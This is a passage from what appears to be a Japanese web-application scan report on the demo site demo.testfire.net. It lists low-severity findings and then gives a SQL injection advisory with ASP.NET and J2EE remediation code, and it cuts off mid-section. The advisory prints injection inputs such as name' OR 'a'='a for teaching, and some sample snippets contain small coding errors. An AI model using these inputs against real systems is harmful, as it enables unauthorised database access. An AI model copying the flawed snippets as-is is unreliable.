| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| 禁止されているリソースについて「404 - Not Found」レスポンス・ステータス・コードを送出するか、完全に削除します<br>(低) HTTP Server | 非表示のディレクトリーを検出 |

## [低] 問題 http://demo.testfire.net/admin/admin.aspx - 1

| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| 管理スクリプトに適切な許可を適用します<br>(低) HTTP Server | 管理ページへの直接アクセス |

## [低] 問題 http://demo.testfire.net/AppScan.aspx - 1

| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| Microsoft ASP.NET 上でのデバッグを無効にします<br>(低) HTTP Server | Microsoft ASP.NET のデバッグが有効 |

## [低] 問題 http://demo.testfire.net/bank.exe - 1

| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| 圧縮されたディレクトリー・ファイルへのアクセスを削除または制限します<br>(低) ディレクトリー | 圧縮ディレクトリーを発見 |

## [低] 問題 http://demo.testfire.net/bank/AppScan.aspx - 1

| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| Microsoft ASP.NET 上でのデバッグを無効にします<br>(低) ディレクトリー | Microsoft ASP.NET のデバッグが有効 |

## [低] 問題 http://demo.testfire.net/images.exe - 1

| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| 圧縮されたディレクトリー・ファイルへのアクセスを削除または制限します<br>(低) ディレクトリー | 圧縮ディレクトリーを発見 |

## [低] 問題 http://demo.testfire.net/images/ - 1

| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| 禁止されているリソースについて「404 - Not Found」レスポンス・ステータス・コードを送出するか、完全に削除します<br>(低) HTTP Server | 非表示のディレクトリーを検出 |

## [低] 問題 http://demo.testfire.net/pr.exe - 1

| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| 圧縮されたディレクトリー・ファイルへのアクセスを削除または制限します<br>(低) ディレクトリー | 圧縮ディレクトリーを発見 |

## [低] 問題 http://demo.testfire.net/retirement.htm - 3

| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| Content-Security-Policy<br>ヘッダーを使用するようにサーバーを構成してください<br>(低) パス | Content-Security-Policy ヘッダーが欠落しています |
| 修復タスク | 解決済みのセキュリティー問題 |
| X-XSS-Protection ヘッダーを使用するようにサーバーを構成してください<br>(低) パス | X-XSS-Protection ヘッダーが欠落しています |
| 修復タスク | 解決済みのセキュリティー問題 |
| X-Content-Type-Options<br>ヘッダーを使用するようにサーバーを構成してください<br>(低) パス | X-Content-Type-Options ヘッダーが欠落しています |

## [低] 問題 http://demo.testfire.net/static/ - 1

| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| 禁止されているリソースについて「404 - Not Found」レスポンス・ステータス・コードを送出するか、完全に削除します<br>(低) HTTP Server | 非表示のディレクトリーを検出 |

## [低] 問題 http://demo.testfire.net/survey_questions.aspx - 3

| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| X-Content-Type-Options<br>ヘッダーを使用するようにサーバーを構成してください<br>(低) パス | X-Content-Type-Options ヘッダーが欠落しています |
| 修復タスク | 解決済みのセキュリティー問題 |
| Content-Security-Policy<br>ヘッダーを使用するようにサーバーを構成してください<br>(低) パス | Content-Security-Policy ヘッダーが欠落しています |
| 修復タスク | 解決済みのセキュリティー問題 |
| X-XSS-Protection ヘッダーを使用するようにサーバーを構成してください<br>(低) パス | X-XSS-Protection ヘッダーが欠落しています |

## [情報] 問題 http://demo.testfire.net/test.aspx - 1

| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| サーバーからテスト・スクリプトを削除します<br>(情報) HTTP Server | アプリケーション・テスト・スクリプトを検知 |

# アドバイザリーと推奨される修正

## SQL インジェクション

### アプリケーション

### WASC 脅威の分類

SQL インジェクション
http://projects.webappsec.org/SQL-Injection

### セキュリティー・リスク

データベース・エントリーおよびテーブルを表示、改変または削除することができます

### 考えられる原因

ユーザーの入力において、有害文字の除去が適切に行われませんでした

### 技術的な説明

本ソフトウェアは、外部から編集可能な入力を使用して SQL コマンドの一部または全部を構成しますが、対象の SQL コマンドをデータベースに送信するときに変更する可能性がある特殊要素を正しく無効にすることはできません。

ユーザーによる制御が可能な入力で SQL 構文の削除や引用が不適切に行われた場合、生成された SQL クエリーにより、これらの入力が通常のユーザー・データではなく SQL として解釈されることがあります。これを利用すれば、セキュリティー・チェックをバイパスするようにクエリー・ロジックを変更したり、バックエンド・データベースを変更する (システム・コマンドの実行が組み込まれている可能性のある) 追加ステートメントを挿入したりできます。例えば、ログイン・フォームを持つ HTML ページがあり、最終的にはユーザー入力を使用してデータベースに対して次の SQL クエリーが実行されるとします。

```
SELECT * FROM accounts WHERE username='$user' AND password='$pass'
```

2 つの変数 ($user および $pass) には、ログイン・フォームでユーザーが入力するユーザー資格情報が含まれます。そのため、ユーザーがユーザー名として「jsmith」を入力し、パスワードとして「Demo1234」を入力した場合、SQL クエリーは次のようになります。

```
SELECT * FROM accounts WHERE username='jsmith' AND password='Demo1234'
```

ただし、ユーザーがユーザー名として「'」(単一のアポストロフィ) を入力し、パスワードとして「'」(単一のアポストロフィ) を入力した場合、SQL クエリーは次のようになります。

```
SELECT * FROM accounts WHERE username=''' AND password='''
```

当然のことながら、これは誤った形式の SQL クエリーであり、HTTP 応答でエラー・メッセージが返される可能性があります。このようなエラーでは、攻撃者には、SQL インジェクションが成功したことがわかってしまいます。その結果、攻撃者はさらに攻撃ベクトルを試行することになります。

サンプル活用:
次の C# コードは、指定した名前に一致する項目を検索する SQL クエリーを動的に作成し実行します。このクエリーでは、表示する項目を、所有者と現在認証されているユーザーの名前とが一致する項目に制限します。

```
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = '"
                                        + userName + "' AND itemname = '"
                                        + ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...
```

このコードでは次のクエリーが実行されることになります。

```
SELECT * FROM items WHERE owner =  AND itemname = ;
```

ただし、このクエリーは、定数の基本クエリー文字列とユーザーの入力文字列とを連結することで動的に作成されるため、正しく動作するのは itemName に単一引用符文字が含まれていない場合のみです。itemName に攻撃者が悪意を持って文字列 "name' OR 'a'='a" を入力すると、クエリーは次のようになります。

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
```

OR 'a'='a' 条件が追加されたことにより WHERE 節が常に True に評価されるため、このクエリーは、このクエリーよりはるかに単純な次のクエリーと論理的に同等になります。

```
SELECT * FROM items;
```

### 推奨される修正 - 全般

いくつかの防止方法があります。

[1] 戦略: ライブラリーまたはフレームワーク
–
ライブラリーやフレームワークを十分に検査し、このような弱点を発生させないようにするか、または発生しても簡単に回避できるような構成にしてください。

[2] 戦略: パラメーター化
–
可能であれば、データとコードを自動的に分離する構造化メカニズムを使用してください。これらのメカニズムは、該当する引用符、エンコード、および検証を自動的に提供するため、出力が生成される時点ごとにこの機能を開発者が設定することに依存する必要がなくなります。

[3] 戦略: 環境の強化
– 必要なタスクの実行に要求される最小限の特権を使用してコードを実行してください。

[4] 戦略: 出力エンコード
–
リスクを承知の上で、動的に生成されるクエリー文字列/コマンドを使用しなければならない場合は、引数を正しく引用符で囲み、その引数に含まれるすべての特殊文字をエスケープしてください。

[5] 戦略: 入力検証
– すべての入力に悪意があると見なしてください。「既知の有効なデータを受け入れる」入力検証方法
(仕様に正確に適合する受け入れ可能な入力のホワイトリスト)
を使用してください。仕様に正確に適合しない入力はすべて拒否してください。あるいは、そのような入力を、仕様に正確に適合する入力に変換してください。悪質な入力や誤った形式の入力が登録されたブラックリストを過信しないようにしてください。ただし潜在的な攻撃の検出や、全面的に拒否すべき誤った形式の入力の判別には、ブラックリストは役立つことがあります。

## 推奨される修正 – ASP.NET

SQL インジェクション攻撃から Web アプリケーションを保護するには、2 つの方法があります。

[1] 動的に作成される SQL クエリー文字列ではなく、ストアード・プロシージャーを使用します。パラメーターを SQL
サーバーのストアード・プロシージャーに渡す方法により、シングル・クォートおよびハイフンが使用できなくなります。

ASP.NET でストアード・プロシージャーを使用する簡単な例を以下に示します:

```
' Visual Basic example
Dim DS As DataSet
Dim MyConnection As SqlConnection
Dim MyCommand As SqlDataAdapter

Dim SelectCommand As String = "select * from users where username = @username"
...
MyCommand.SelectCommand.Parameters.Add(New SqlParameter("@username", SqlDbType.NVarChar, 20))
MyCommand.SelectCommand.Parameters("@username").Value = UserNameField.Value


// C# example
String selectCmd = "select * from Authors where state = @username";
SqlConnection myConnection = new SqlConnection("server=...");
SqlDataAdapter myCommand = new SqlDataAdapter(selectCmd, myConnection);

myCommand.SelectCommand.Parameters.Add(new SqlParameter("@username", SqlDbType.NVarChar, 20));
myCommand.SelectCommand.Parameters["@username"].Value = UserNameField.Value;
```

[2] 検証コントロールを使用すると、Web Forms
ページに入力検証機能を追加できます。検証コントロールにより、範囲内で有効な日付または値かどうかをテストするなど、一般的なあらゆるタイプの標準検証に対応する使いやすいメカニズムが得られるとともに、カスタム検証も利用できるようになります。さらに、検証コントロールにより、ユーザーに表示するエラー情報を完全にカスタマイズできるようになります。検証コントロールは、HTML および Web
サーバー・コントロールを含む、Web フォーム・ページのクラス・ファイルで処理される任意のコントロールと一緒に使用できます。

有効な値だけがユーザーの入力内容に確実に含まれているようにするため、次の検証コントロールのいずれかを使用できます。

a.「RangeValidator」: ユーザーのエントリー (値)
が指定された下限と上限の間であることをチェックします。数字、英字、および日付のペアで示した範囲をチェックすることができます。

b.「RegularExpressionValidator」:
正規表現により定義されたパターンとエントリーが一致していることをチェックします。この検証タイプにより、社会保障番号、電子メール・アドレス、電話番号、郵便番号等といった予想可能な文字のシーケンスをチェックできます。

重要な注意事項:
検証コントロールは、ユーザーの入力をブロックしたりページ処理のフローを変更することはありません。エラー・ステータスを設定し、エラー・メッセージを送出するだけです。アプリケーション固有のアクションをさらに実行する前に、プログラマーは必ずコード内のコントロールの状態をテストしてください。

ユーザーの入力を検証する方法には 2 つの方法があります:

1. 一般的なエラー状態のテスト:

コードで、ページの IsValid プロパティーをチェックしてください。このプロパティーは、ページの全検証コントロールの IsValid
プロパティーの値の論理和を結果として返します。検証コントロールの 1 つが無効に設定されている場合、ページのプロパティーは false
を返します。

2. 各コントロールのエラー状態のテスト:

ページの Validators コレクション (すべての検証コントロールへの参照を含みます)
に含まれるものをチェックしてください。そうすることで、各検証コントロールの IsValid プロパティーを調べることが可能となります。

## 推奨される修正 – J2EE

**準備されたステートメント:

SQL インジェクション (例: SQL パラメーターの悪意のある改ざん) からアプリケーションを保護する方法として、次の 3
つの方法が考えられます。SQL ステートメントを動的に構築する代わりに、以下を使用します。

[1] あらかじめコンパイルされ、PreparedStatement オブジェクトのプールに格納されている PreparedStatement。 PreparedStatement は、サポートされている JDBC SQL データ型式と互換性のある入力パラメーターを登録して、セッターを定義します。 例えば、setString は、タイプ VARCHAR または LONGVARCHAR 型の入力パラメーターに使用されます (詳細については Java API を参照してください)。 入力パラメーターを設定するこの方法により、攻撃者がクォートなどの危険な文字を挿入して SQL ステートメントを改ざんしないようにします。

J2EE で PreparedStatement を使用する方法の例は次のとおりです。

```
// J2EE PreparedStatemenet Example
// Get a connection to the database
Connection myConnection;
if (isDataSourceEnabled()) {
    // using the DataSource to get a managed connection
    Context ctx = new InitialContext();
    myConnection = ((DataSource)ctx.lookup(datasourceName)).getConnection(dbUserName, dbPassword);
} else {
    try {
        // using the DriverManager to get a JDBC connection
        Class.forName(jdbcDriverClassPath);
        myConnection = DriverManager.getConnection(jdbcURL, dbUserName, dbPassword);
    } catch (ClassNotFoundException e) {
        ...
    }
}
...
try {
    PreparedStatement myStatement = myConnection.prepareStatement("select * from users where username = ?");
    myStatement.setString(1, userNameField);
    ResultSet rs = myStatement.executeQuery();
    ...
    rs.close();
} catch (SQLException sqlException) {
    ...
} finally {
    myStatement.close();
    myConnection.close();
}
```

[2] PreparedStatement を拡張して、データベース SQL ストアード・プロシージャーを実行する CallableStatement。 このクラスは、PreparedStatement から入力セッターを継承します (上の [1] を参照してください)。

次の例は、このデータベース・ストアード・プロシージャーがあらかじめ作成されていることを想定しています。

```
CREATE PROCEDURE select_user (@username varchar(20))
AS SELECT * FROM USERS WHERE USERNAME = @username;
```

J2EE で CallableStatement を使用して上記のストアード・プロシージャーを実行する方法の例は次のとおりです。

```
// J2EE PreparedStatemenet Example
// Get a connection to the database
Connection myConnection;
if (isDataSourceEnabled()) {
    // using the DataSource to get a managed connection
    Context ctx = new InitialContext();
    myConnection = ((DataSource)ctx.lookup(datasourceName)).getConnection(dbUserName, dbPassword);
} else {
    try {
        // using the DriverManager to get a JDBC connection
        Class.forName(jdbcDriverClassPath);
        myConnection = DriverManager.getConnection(jdbcURL, dbUserName, dbPassword);
    } catch (ClassNotFoundException e) {
        ...
    }
}
...
try {
    PreparedStatement myStatement = myConnection.prepareCall("{?= call select_user ?,?}");
    myStatement.setString(1, userNameField);
    myStatement.registerOutParameter(1, Types.VARCHAR);
    ResultSet rs = myStatement.executeQuery();
    ...
    rs.close();
} catch (SQLException sqlException) {
    ...
} finally {
    myStatement.close();
    myConnection.close();
}
```

[3] 永続的なストレージ・メカニズムで EJB ビジネス・オブジェクトに対応する Entity Bean。 Entity Bean には、ビーン管理とコンテナー管理の、2 つのタイプがあります。 Bean 管理パーシスタンスを使用する場合、開発者はデータベースにアクセスするための SQL コードを記述する必要があります (上記のセクション [1] と [2] を参照してください)。コンテナー管理パーシスタンスを使用する場合、EJB コンテナーが自動的に SQL コードを生成します。このため生成された SQL コードを改ざんしようとする悪意ある行為は、コンテナーで防ぐ必要があります。

J2EE で Entity Bean を使用する方法の例は次のとおりです。

```
// J2EE EJB Example
try {
    // lookup the User home interface
    UserHome userHome = (UserHome)context.lookup(User.class);
    // find the User remote interface
    User = userHome.findByPrimaryKey(new UserKey(userNameField));
    ...
} catch (Exception e) {
    ...
}
```

推奨される Java ツール: なし

参照リンク

http://java.sun.com/j2se/1.4.1/docs/api/java/sql/PreparedStatement.html

http://java.sun.com/j2se/1.4.1/docs/api/java/sql/CallableStatement.html

** 入力データの検証

データ検証は、ユーザーの利便性のためにクライアント層で行うこともできますが、必ず Servlet を使用するサーバー層で行う必要があります。クライアント側のデータ検証は、例えば Javascript を無効にすることによって簡単にバイパスできるため、本質的に安全ではありません。

一般的には、次の項目を検証するサーバー側ユーティリティー・ルーチンを提供する Web アプリケーション・フレームワークが理想とされます。
[1] 必須フィールド
[2] フィールドのデータ型 (デフォルトでは、HTTP 要求パラメーターはすべて String)
[3] フィールドの長さ
[4] フィールドの範囲
[5] フィールドのオプション
[6] フィールドのパターン
[7] Cookie の値
[8] HTTP 応答

効果的な方法は、上記ルーチンを Validator ユーティリティー・クラスの静的メソッドとして実装することです。次のセクションでは、validator クラスの例について説明します。

[1] 必須フィールド
常に、フィールドが Null でなく、前後の空白スペースを除いて、その長さがゼロより大きいことをチェックします。

次に、要求されたフィールドを検証する例を示します。

```
// Java example to validate required fields
public Class Validator {
    ...
    public static boolean validateRequired(String value) {
        boolean isFieldValid = false;
        if (value != null && value.trim().length() > 0) {
            isFieldValid = true;
        }
        return isFieldValid;
    }
    ...
}
...
String fieldValue = request.getParameter("fieldName");
if (Validator.validateRequired(fieldValue)) {
    // fieldValue is valid, continue processing request
    ...
}
```

[2] フィールドのデータ型: Web アプリケーションでは、入力パラメーターの型は多くありません。例えば、HTTP 要求パラメーターや Cookie の値はすべて String 型です。 開発者は入力のデータ型が正しいかどうかを確認する必要があります。フィールドの値を希望するプリミティブなデータ型に安全に変換できるかどうかをチェックするには、Java プリミティブ・ラッパー・クラスを使用します。

次に、数値フィールド (int 型) を検証する例を示します。

```
// Java example to validate that a field is an int number
public Class Validator {
    ...
    public static boolean validateInt(String value) {
        boolean isFieldValid = false;
        try {
            Integer.parseInt(value);
            isFieldValid = true;
        } catch (Exception e) {
            isFieldValid = false;
        }
```

```
        return isFieldValid;
    }
    …
}
…
// check if the HTTP request parameter is of type int
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // fieldValue is valid, continue processing request
    …
}
```

効果的な方法は、HTTP
要求パラメーターをすべて対応するデータ型に変換することです。例えば、次の例に示すように、開発者は、要求パラメーターの「integerValue」を要求属性に格納して使用します。

```
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // convert fieldValue to an Integer
    Integer integerValue = Integer.getInteger(fieldValue);
    // store integerValue in a request attribute
    request.setAttribute("fieldName", integerValue);
}
…
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
…
```

アプリケーションが処理する必要がある Java の主なデータ型は次のとおりです。
- Byte
- Short
- Integer
- Long
- Float
- Double
- Date

[3] フィールドの長さ: 常に、入力パラメーター (HTTP 要求パラメーターまたは Cookie 値のどちらか)
の長さが最小値から最大値までの間であることを確認します。

次に、userName フィールドの長さが 8 文字から 20 文字までの間であることを検証する例を示します。

```
// Example to validate the field length
public Class Validator {
    …
    public static boolean validateLength(String value, int minLength, int maxLength) {
        String validatedValue = value;
        if (!validateRequired(value)) {
            validatedValue = "";
        }
        return (validatedValue.length() >= minLength &&
                    validatedValue.length() <= maxLength);
    }
    …
}
…
String userName = request.getParameter("userName");
if (Validator.validateRequired(userName)) {
    if (Validator.validateLength(userName, 8, 20)) {
        // userName is valid, continue further processing
        …
    }
}
```

[4] フィールドの範囲: 常に、入力パラメーターが関数の要件で定義された範囲内であることを確認します。

入力データ numberOfChoices の値が 10 から 20 の間であることを検証する例を示します。

```
// Example to validate the field range
public Class Validator {
    …
    public static boolean validateRange(int value, int min, int max) {
        return (value >= min && value <= max);
    }
    …
}
…
String fieldValue = request.getParameter("numberOfChoices");
if (Validator.validateRequired(fieldValue)) {
    if (Validator.validateInt(fieldValue)) {
        int numberOfChoices = Integer.parseInt(fieldValue);
        if (Validator.validateRange(numberOfChoices, 10, 20)) {
```

```
            // numberOfChoices is valid, continue processing request
            …
        }
    }
}
```

[5] フィールドのオプション: 多くの場合 Web
アプリケーションはユーザーに対して一連のオプションを提示して、ユーザーにそのいずれかを選択するよう促しますが (例えば SELECT
HTML
タグを使用するなどして)、選択された値が使用可能なオプションのいずれかであるかどうかをサーバー側で検証を実行して確認することはできません。悪意のあるユーザーが任意のオプションの値を簡単に変更できることに注意してください。選択されたユーザーの値が、関数の仕様で定義されている許可されたオプションであることを必ず検証してください。

許可されたオプションのリストに対してユーザーの選択を検証する例を示します。

```
// Example to validate user selection against a list of options
public Class Validator {
    …
    public static boolean validateOption(Object[] options, Object value) {
        boolean isValidValue = false;
        try {
            List list = Arrays.asList(options);
            if (list != null) {
                isValidValue = list.contains(value);
            }
        } catch (Exception e) {
        }
        return isValidValue;
    }
    …
}
…
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
    // valid user selection, continue processing request
    …
}
```

[6] フィールドのパターン:
関数の仕様で定義されるように、ユーザーの入力がパターンに一致していることを常にチェックしてください。例えば、userName
フィールドが大文字小文字を区別せずに英数字のみ許可している場合、次の正規表現を使用します:
^[a-zA-Z0-9]*$

Java 1.3 またはそれ以前のバージョンには、正規表現パッケージが含まれていません。 Java 1.3 ではサポートされないため、Apache Regular Expression Package (下記のリソースを参照) を使用することを推奨します。 正規表現で検証を実行する例を示します。

```
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
    …
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
            RE r = new RE(expression);
            match = r.match(value);
        }
        return match;
    }
    …
}
…
// Verify that the userName request parameter is alpha-numeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    // userName is valid, continue processing request
    …
}
```

Java 1.4 には、新しく正規表現パッケージ (java.util.regex) が導入されています。 新しい Java 1.4 の正規表現パッケージを使用した Validator.matchPattern の変更バージョンは以下のようになります。

```
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
    …
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
```

```
        if (validateRequired(expression)) {
            match = Pattern.matches(expression, value);
        }
        return match;
    }
    …
}
```

[7] Cookie の値: Cookie の値を検証するために javax.servlet.http.Cookie オブジェクトを使用してください。アプリケーションの仕様に応じて、(上記と) 同じ検証規則 (要求された値の検証や長さの検証など) が Cookie の値にも適用されます。

要求された Cookie の値を検証する例は次のとおりです。

```
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
    // find the "user" cookie
    for (int i=0; i<cookies.length; ++i) {
        if (cookies[i].getName().equals("user")) {
            // validate the cookie value
            if (Validator.validateRequired(cookies[i].getValue()) {
                // valid cookie value, continue processing request
                …
            }
        }
    }
}
```

[8] HTTP 応答 – [8-1] ユーザー入力のフィルタリング:
クロスサイト・スクリプティングからアプリケーションを保護するには、危険な文字を対応する文字エンティティーに変換して、HTML をサニタイズします。HTML で危険な文字は次のとおりです。
< > " ' % ; ) ( & +

危険な文字を対応する文字エンティティーに変換して、指定された文字列をフィルタリングする例は次のとおりです。

```
// Example to filter sensitive data to prevent cross-site scripting
public Class Validator {
    …
    public static String filter(String value) {
        if (value == null) {
            return null;
        }
        StringBuffer result = new StringBuffer(value.length());
        for (int i=0; i<value.length(); ++i) {
            switch (value.charAt(i)) {
            case '<':
                result.append("&lt;");
                break;
            case '>':
                result.append("&gt;");
                break;
            case '"':
                result.append("&quot;");
                break;
            case '¥'':
                result.append("&#39;");
                break;
            case '%':
                result.append("&#37;");
                break;
            case ';':
                result.append("&#59;");
                break;
            case '(':
                result.append("&#40;");
                break;
            case ')':
                result.append("&#41;");
                break;
            case '&':
                result.append("&amp;");
                break;
            case '+':
                result.append("&#43;");
                break;
            default:
                result.append(value.charAt(i));
                break;
        }
        return result;
    }
    …
```

```
}
…
// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();
// set output response
out.write(Validator.filter(response));
out.close();
```

Java Servlet API 2.3 にはフィルターが導入されており、HTTP 要求または応答をインターセプトして変換する機能をサポートしています。

Validator.filter を使用して応答をサニタイズする Servlet フィルターの使用例は次のとおりです。

```
// Example to filter all sensitive characters in the HTTP response using a Java Filter.
// This example is for illustration purposes since it will filter all content in the response, including HTML tags!
public class SensitiveCharsFilter implements Filter {
    …
    public void doFilter(ServletRequest request,
                         ServletResponse response,
                         FilterChain chain)
        throws IOException, ServletException {

        PrintWriter out = response.getWriter();
        ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
        chain.doFilter(request, wrapper);

        CharArrayWriter caw = new CharArrayWriter();
        caw.write(Validator.filter(wrapper.toString()));

        response.setContentType("text/html");
        response.setContentLength(caw.toString().length());
        out.write(caw.toString());
        out.close();
    }
    …
    public class CharResponseWrapper extends HttpServletResponseWrapper {
        private CharArrayWriter output;

        public String toString() {
            return output.toString();
        }

        public CharResponseWrapper(HttpServletResponse response){
            super(response);
            output = new CharArrayWriter();
        }

        public PrintWriter getWriter(){
            return new PrintWriter(output);
        }
    }
}

}
```

[8-2] Cookie のセキュリティー保護: Cookie に機密データを保存する場合、HTTPS や SSL などの安全なプロトコルを利用して Cookie が送信されるようにブラウザーに指示するために、Cookie.setSecure(boolean flag) を使用して HTTP 応答の Cookie のセキュリティー・フラグが設定されるようにしてください。

「user」の Cookie をセキュリティー保護する例は次のとおりです。

```
// Example to secure a cookie, i.e. instruct the browser to
// send the cookie using a secure protocol
Cookie cookie = new Cookie("user", "sensitive");
cookie.setSecure(true);
response.addCookie(cookie);
```

推奨される JAVA ツール: サーバー側で検証を行う Java フレームワークは主に次の 2 つです。
[1] Jakarta Commons Validator (Struts 1.1 と統合): Jakarta Commons Validator は、上記のデータ検証仕様をすべて実装する強力なフレームワークです。これらの規則は、フォーム・フィールドの入力認証規則を定義する XML ファイルで構成されています。 Struts の [bean:write] タグを使用することで、記述された全データに対する [8] HTTP 応答の危険な文字の出力フィルタリングを Struts がデフォルトでサポートしています。
このフィルタリングは、「filter=false」フラグを設定することにより無効にできます。

Struts は次の基本的な入力検証を定義しますが、カスタム検証が定義される場合もあります。
required: フィールドに空白以外の文字が含まれている場合に成功します。
mask: 値がマスク属性によって与えられた正規表現に一致する場合に成功します。
range: 値が min 属性および max 属性により与えられた値 ((value >= min) および (value <= max)) の範囲内である場合に成功します。
maxLength: フィールドの長さが max 属性以下である場合に成功します。
minLength: フィールドの長さが min 属性以上である場合に成功します。
byte、short、integer、long、float、double: 値を対応するプリミティブ型に変換できる場合に成功します。
date: 値が有効な日付を示す場合に成功します。日付のパターンを指定することも可能です。
creditCard: 値が有効なクレジット・カードの番号である場合に成功します。
e-mail: 値が有効な電子メール・アドレスである場合に成功します。

次に、Struts Validator を使用して、loginForm の userName フィールドを検証する例を示します。

```
<form-validation>
   <global>
      ...
      <validator name="required"
         classname="org.apache.struts.validator.FieldChecks"
         method="validateRequired"
         msg="errors.required">
      </validator>
      <validator name="mask"
         classname="org.apache.struts.validator.FieldChecks"
         method="validateMask"
         msg="errors.invalid">
      </validator>
      ...
   </global>
   <formset>
      <form name="loginForm">
         <!-- userName is required and is alpha-numeric case insensitive -->
         <field property="userName" depends="required,mask">
            <!-- message resource key to display if validation fails -->
            <msg name="mask" key="login.userName.maskmsg"/>
            <arg0 key="login.userName.displayname"/>
            <var>
               <var-name>mask</var-name>
               <var-value>^[a-zA-Z0-9]*$</var-value>
            </var>
         </field>
      ...
      </form>
      ...
   </formset>
</form-validation>
```

[2] JavaServer Faces Technology: JavaServer Faces Technology は、UI
コンポーネントの表現、各コンポーネントの状態の管理、イベントの処理および入力の検証を行う、一連の Java API (JSR 127) です。

JavaServer Faces API は次の基本的な検証を実装しますが、カスタム検証も定義される場合があります。
validate_doublerange: コンポーネントの DoubleRangeValidator を登録します。
validate_length: コンポーネントの LengthValidator を登録します。
validate_longrange: コンポーネントの LongRangeValidator を登録します。
validate_required: コンポーネントの RequiredValidator を登録します。
validate_stringrange: コンポーネントの StringRangeValidator を登録します。
validator: コンポーネントのカスタムの Validator を登録します。

JavaServer Faces API は、次の UIInput および UIOutput Renderer (Tag) を定義します。
input_date: java.text.Date インスタンスでフォーマットされた java.util.Date を受け取ります。
output_date: java.text.Date インスタンスでフォーマットされた java.util.Date を表示します。
input_datetime: java.text.DateTime インスタンスでフォーマットされた java.util.Date を受け取ります。
output_datetime: java.text.DateTime インスタンスでフォーマットされた java.util.Date を表示します。
input_number: java.text.NumberFormat でフォーマットされた数値データ型 (java.lang.Number またはプリミティブ型) を表示します。
output_number: java.text.NumberFormat でフォーマットされた数値データ型 (java.lang.Number またはプリミティブ型) を表示します。
input_text: 1 行の文字列を受け取ります。
output_text: 1 行の文字列を表示します。
input_time: java.text.DateFormat タイム・インスタンスでフォーマットされた java.util.Date を受け取ります。
output_time: java.text.DateFormat タイム・インスタンスでフォーマットされた java.util.Date を表示します。
input_hidden: ページの作成者がページで hidden 変数を使用することを許可します。
input_secret: 空白なしの 1 行のテキストを受け取り、入力の度にアスタリスクのセットとして表示します。
input_textarea: 複数行のテキストを受け取ります。
output_errors: ページ全体のエラー・メッセージまたは指定のクライアント識別子に関連するエラー・メッセージを表示します。
output_label: ネストされたコンポーネントを指定インプット・フィールドのラベルとして表示します。
output_message: 配置されたメッセージを表示します。

次に、JavaServer Faces を使用して、loginForm の userName フィールドを検証する例を示します。

```
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
   class="myApplication.UserBean" scope="session" />
<f:use_faces>
  <h:form formName="loginForm" >
    <h:input_text id="userName" size="20" modelReference="UserBean.userName">
       <f:validate_required/>
       <f:validate_length minimum="8" maximum="20"/>
    </h:input_text>
    <!-- display errors if present -->
    <h:output_errors id="loginErrors" clientId="userName"/>
    <h:command_button id="submit" label="Submit" commandName="submit" /><p>
  </h:form>
</f:use_faces>
```

参照リンク:
Java API 1.3 -

http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java Regular Expression Package -
http://jakarta.apache.org/regexp/
Jakarta Validator -
http://jakarta.apache.org/commons/validator/
JavaServer Faces Technology -
http://java.sun.com/j2ee/javaserverfaces/

** エラーの処理:

多くの J2EE Web アプリケーション・アーキテクチャーは Model View Controller (MVC) パターンに準拠しています。このパターンでは、Servlet は Controller として動作します。Servlet はアプリケーションの処理を EJB Session Bean (Model) のような JavaBean に委託します。次に、Servlet は要求を JSP (View) に転送して、処理の結果をレンダリングします。必要な処理が実際に行われたことを確認するために、Servlet はすべての入力、出力、リターン・コード、エラー・コード、および既知の例外をチェックする必要があります。

データの検証は悪意のあるデータの改ざんからアプリケーションを保護することはできますが、アプリケーションが内部的なエラー・メッセージ (例外スタック・トレースなど)
を不注意で公開するような状況を防ぐには、適切なエラー処理を実行するための方策が必要です。適切なエラー処理の方策を立てる際には、次の点に注意します。

[1] エラーの定義
[2] エラーの報告
[3] エラーのレンダリング
[4] エラーのマッピング

[1] エラーの定義: アプリケーション・レイヤー (Servlet など)
でのハード・コーディングされたエラー・メッセージは避けてください。アプリケーションには既知のアプリケーション障害にマップするエラー・キーを使用するようにしてください。効果的な方法は、HTML フォーム・フィールドや他の Bean
